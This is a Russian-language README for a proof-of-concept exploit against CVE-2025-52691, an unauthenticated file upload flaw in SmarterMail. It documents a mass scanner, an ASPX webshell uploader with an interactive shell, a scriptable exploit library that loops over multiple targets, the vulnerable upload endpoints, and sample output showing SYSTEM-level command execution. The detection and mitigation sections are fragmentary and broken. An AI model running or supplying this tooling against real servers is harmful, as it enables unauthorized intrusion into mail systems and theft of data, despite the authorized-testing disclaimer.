Эксплойт для проверки концепции уязвимости CVE-2025-52691: неавторизованная загрузка произвольных файлов, приводящая к удаленному выполнению кода (RCE) в SmarterMail. Включает сканер уязвимостей, загрузчик веб-оболочек ASPX и интерактивную оболочку для авторизованного тестирования безопасности.
Доказательство концепции для CVE-2025-52691 - SmarterMail: неавторизованная произвольная загрузка файлов (RCE)
Только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ незаконен.
Критическая уязвимость в SmarterMail, позволяющая неавторизованную произвольную загрузку файлов через path traversal, что приводит к удаленному выполнению кода.
Уязвимость: Path traversal в конечных точках загрузки позволяет загружать ASPX веб-шеллы в корень веб-сайта
Воздействие: Неавторизованное удаленное выполнение кода
Вектор: Сеть / Без аутентификации
git clone https://github.com/yourusername/CVE-2025-52691-POC.git
cd CVE-2025-52691-POC
pip install requests urllib3
Сканирует цели на наличие уязвимости CVE-2025-52691. Сохраняет только уязвимые URL в выходной файл.
# Single target
python check.py https://mail.example.com
# Multiple targets
python check.py -f targets.txt -o results.txt
# Custom timeout
python check.py https://mail.example.com -t 30
Вывод: Один уязвимый URL на строку в results.txt
Загружает ASPX веб-шелл и обеспечивает выполнение команд.
# Basic exploit
python pwn.py https://mail.example.com
# Execute command
python pwn.py https://mail.example.com -c "whoami"
# Interactive shell
python pwn.py https://mail.example.com -i
Модуль эксплуатации для многократного использования, предназначенный для интеграции в пользовательские скрипты.
В качестве библиотеки:
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
# Basic usage
config = TargetConfig(base_url="https://mail.example.com")
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
# With custom timeout
config = TargetConfig(base_url="https://mail.example.com", timeout=60)
exploit = SmarterMailExploit(config)
result = exploit.exploit()
# Execute multiple commands
if result == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
print(exploit.execute_command("hostname"))
print(exploit.execute_command("ipconfig"))
В качестве автономного скрипта:
# Import and run in Python
python -c "from exploit import *; e=SmarterMailExploit(TargetConfig('https://mail.example.com')); e.exploit()"
# Create custom script
cat << 'EOF' > my_exploit.py
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
targets = ['https://mail1.example.com', 'https://mail2.example.com']
for target in targets:
config = TargetConfig(base_url=target)
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(f"[+] Exploited: {target}")
print(exploit.execute_command("whoami"))
EOF
python my_exploit.py
Уязвимые конечные точки:
/api/upload
/api/v1/upload
/Interface/Frmx/UploadFile.aspx
/MRS/Upload.ashx
/Services/Upload.ashx
Методы эксплуатации:
../wwwroot/)Веб-шелл: Минимальный ASPX-шелл, принимающий команды через параметр ?cmd=
python check.py <target>python pwn.py <target> -iОбнаружение:
../)/api/uploadСмягчение:
$ python pwn.py https://mail.example.com -c "whoami"
[*] Target: https://mail.example.com
[+] Target is alive
[*] Shell filename: s4a7b3c2.aspx
[*] Attempting to upload webshell...
[+] SUCCESS! Webshell uploaded
[+] Shell URL: https://mail.example.com/s4a7b3c2.aspx
[*] Executing: whoami
[+] Output:
nt authority\system
Всегда получайте надлежащее разрешение перед тестированием.